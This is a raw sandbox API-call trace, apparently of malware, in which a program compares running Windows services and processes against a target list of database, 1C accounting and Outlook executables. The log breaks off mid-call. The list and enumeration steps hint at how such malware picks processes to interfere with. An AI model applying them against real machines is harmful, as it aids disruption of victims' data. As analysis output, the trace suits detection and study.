[0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.549] lstrlenW (lpString="DcomLaunch") returned 10 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.549] lstrlenW (lpString="Dhcp") returned 4 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.550] lstrlenW (lpString="Dnscache") returned 8 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.550] lstrlenW (lpString="eventlog") returned 8 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.550] lstrlenW (lpString="EventSystem") returned 11 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.550] lstrlenW (lpString="gpsvc") returned 5 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.550] lstrlenW (lpString="lmhosts") returned 7 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.550] lstrlenW (lpString="MMCSS") returned 5 [0265.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.550] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.550] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.551] lstrlenW (lpString="MpsSvc") returned 6 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.551] lstrlenW (lpString="nsi") returned 3 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.551] lstrlenW (lpString="PlugPlay") returned 8 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.551] lstrlenW (lpString="Power") returned 5 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.551] lstrlenW (lpString="ProfSvc") returned 7 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.551] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.551] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.551] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.552] lstrlenW (lpString="RpcSs") returned 5 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.552] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.552] lstrlenW (lpString="SamSs") returned 5 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.552] lstrlenW (lpString="Schedule") returned 8 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.552] lstrlenW (lpString="SENS") returned 4 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.552] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.552] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.552] lstrlenW (lpString="Spooler") returned 7 [0265.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.553] lstrlenW (lpString="Themes") returned 6 [0265.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.553] lstrlenW (lpString="UxSms") returned 5 [0265.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.553] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.553] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312828 | out: hHeap=0x2a0000) returned 1 [0265.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x134 [0265.554] Process32FirstW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.554] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.554] lstrlenW (lpString="System") returned 6 [0265.554] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.554] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.555] lstrlenW (lpString="smss.exe") returned 8 [0265.555] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.555] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.555] lstrlenW (lpString="csrss.exe") returned 9 [0265.555] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.555] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.555] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.555] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.556] lstrlenW (lpString="wininit.exe") returned 11 [0265.556] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.556] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.556] lstrlenW (lpString="csrss.exe") returned 9 [0265.556] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.556] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.556] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.556] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.556] lstrlenW (lpString="winlogon.exe") returned 12 [0265.556] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0265.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0265.556] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0265.557] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0265.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0265.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0265.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0265.557] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.557] lstrlenW (lpString="services.exe") returned 12 [0265.557] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0265.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0265.557] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.557] lstrlenW (lpString="lsass.exe") returned 9 [0265.557] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0265.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0265.557] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0265.557] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0265.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0265.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0265.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0265.557] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.558] lstrlenW (lpString="lsm.exe") returned 7 [0265.558] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0265.558] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0265.558] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0265.558] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0265.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0265.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0265.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0265.558] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.558] lstrlenW (lpString="svchost.exe") returned 11 [0265.558] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.558] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.558] lstrlenW (lpString="svchost.exe") returned 11 [0265.558] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.559] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.559] lstrlenW (lpString="svchost.exe") returned 11 [0265.559] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.559] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.559] lstrlenW (lpString="svchost.exe") returned 11 [0265.559] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.560] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.560] lstrlenW (lpString="svchost.exe") returned 11 [0265.560] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.560] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.560] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.560] lstrlenW (lpString="audiodg.exe") returned 11 [0265.560] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0265.560] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0265.560] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0265.560] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0265.560] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0265.560] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0265.560] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0265.560] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.561] lstrlenW (lpString="svchost.exe") returned 11 [0265.561] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.561] Process32NextW (in: hSnapshot=0x134, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.561] lstrlenW (lpString="svchost.exe") returned 11 [0265.561] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.561] lstrcmpiW 